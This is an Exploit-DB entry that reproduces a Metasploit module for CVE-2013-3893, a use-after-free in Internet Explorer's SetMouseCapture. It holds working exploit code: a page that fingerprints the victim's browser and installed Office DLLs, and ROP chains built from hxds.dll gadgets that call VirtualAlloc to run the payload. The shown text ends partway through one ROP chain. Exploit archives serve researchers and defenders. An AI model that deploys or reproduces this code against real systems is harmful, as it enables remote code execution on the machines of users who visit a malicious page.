Exploit-DB #28682
Description: Micorosft Internet Explorer - SetMouseCapture Use-After-Free (Metasploit)
Type: remote
Platform: windows
Date: 2013-10-02
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Micorosft Internet Explorer SetMouseCapture Use-After-Free",
      'Description'    => %q{
          This module exploits a use-after-free vulnerability that currents targets Internet
          Explorer 9 on Windows 7, but the flaw should exist in versions 6/7/8/9/10/11.
          It was initially found in the wild in Japan, but other regions such as English,
          Chinese, Korean, etc, were targeted as well.

          The vulnerability is due to how the mshtml!CDoc::SetMouseCapture function handles a
          reference during an event. An attacker first can setup two elements, where the second
          is the child of the first, and then setup a onlosecapture event handler for the parent
          element. The onlosecapture event seems to require two setCapture() calls to trigger,
          one for the parent element, one for the child. When the setCapture() call for the child
          element is called, it finally triggers the event, which allows the attacker to cause an
          arbitrary memory release using document.write(), which in particular frees up a 0x54-byte
          memory.  The exact size of this memory may differ based on the version of IE. After the
          free, an invalid reference will still be kept and pass on to more functions, eventuall
          this arrives in function MSHTML!CTreeNode::GetInterface, and causes a crash (or arbitrary
          code execution) when this function attempts to use this reference to call what appears to
          be a PrivateQueryInterface due to the offset (0x00).

          To mimic the same exploit found in the wild, this module will try to use the same DLL
          from Microsoft Office 2007 or 2010 to leverage the attack.

      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown', # Exploit in the wild first spotted in Japan
          'sinn3r'   # Metasploit (thx binjo for the heads up!)
        ],
      'References'     =>
        [
          [ 'CVE', '2013-3893' ],
          [ 'OSVDB', '97380' ],
          [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2887505' ],
          [ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/09/17/cve-2013-3893-fix-it-workaround-available.aspx' ]
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [ 'IE 9 on Windows 7 SP1 with Microsoft Office 2007 or 2010', {} ]
        ],
      'Payload'        =>
        {
          'BadChars'        => "\x00",
          'PrependEncoder'  => "\x81\xc4\x80\xc7\xfe\xff" # add esp, -80000
        },
      'DefaultOptions'  =>
        {
          'PrependMigrate'       => true,
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Privileged'     => false,
      'DisclosureDate' => "Sep 17 2013",
      'DefaultTarget'  => 0))
  end

  def is_win7_ie9?(agent)
    (agent =~ /MSIE 9/ and agent =~ /Windows NT 6\.1/)
  end

  def get_preq_html(cli, req)
    %Q|
<html>
<script>
  function getDLL() {
    var checka = 0;
    var checkb = 0;

    try {
      checka = new ActiveXObject("SharePoint.OpenDocuments.4");
    } catch (e) {}

    try {
      checkb = new ActiveXObject("SharePoint.OpenDocuments.3");
    } catch (e) {}

    if ((typeof checka) == "object" && (typeof checkb) == "object") {
      return "office2010";
    }
    else if ((typeof checka) == "number" && (typeof checkb) == "object") {
      return "office2007";
    }

    return "na";
  }

  window.onload = function() {
    document.location = "#{get_resource}/#{@exploit_page}?dll=" + getDLL();
  }
</script>
</html>
    |
  end

  def junk
    return rand_text_alpha(4).unpack("V")[0].to_i
  end

  def get_payload(rop_dll)
    code = payload.encoded
    rop  = ''
    p    = ''

    case rop_dll
    when :office2007
      rop = 
      [
        junk,        # Alignment
        0x51c46f91,  # POP EBP # RETN [hxds.dll] 
        0x51c46f91,  # skip 4 bytes [hxds.dll]
        0x51c35a4d,  # POP EBX # RETN [hxds.dll] 
        0xffffffff,
        0x51bd90fd,  # INC EBX # RETN [hxds.dll]
        0x51bd90fd,  # INC EBX # RETN [hxds.dll]
        0x51bfa98e,  # POP EDX # RETN [hxds.dll] 
        0xffffefff,
        0x51c08b65,  # XCHG EAX, EDX # RETN [hxds.dll]
        0x51c1df88,  # NEG EAX # RETN [hxds.dll]
        0x51c55c45,  # DEC EAX, RETN [hxds.dll]
        0x51c08b65,  # XCHG EAX, EDX # RETN [hxds.dll]
        0x51c4c17c,  # POP ECX # RETN [hxds.dll]
        0xffffffc0,
        0x51bfbaae,  # XCHG EAX, ECX # RETN [hxds.dll]
        0x51c1df88,  # NEG EAX # RETN [hxds.dll]
        0x51bfbaae,  # XCHG EAX, ECX # RETN [hxds.dll]
        0x51c05766,  # POP EDI # RETN [hxds.dll] 
        0x51bfbaaf,  # RETN (ROP NOP) [hxds.dll]
        0x51c2e77d,  # POP ESI # RETN [hxds.dll] 
        0x51bfc840,  # JMP [EAX] [hxds.dll]
        0x51c05266,  # POP EAX # RETN [hxds.dll] 
        0x51bd115c,  # ptr to &VirtualAlloc() [IAT hxds.dll]
        0x51bdf91f,  # PUSHAD # RETN [hxds.dll] 
        0x51c4a9f3,  # ptr to 'jmp esp' [hxds.dll]
     ].pack("V*")

    when :office2010
      rop = 
      [
        # 4 dword junks due to the add esp in stack pivot
        junk,
        junk,
        junk,
        junk,
        0x51c41953,  # POP EBP # RETN [hxds.dll]
        0x51be3a03,  # RETN (ROP NOP) [hxds.dll]
        0x51c41953,  # skip 4 bytes [hx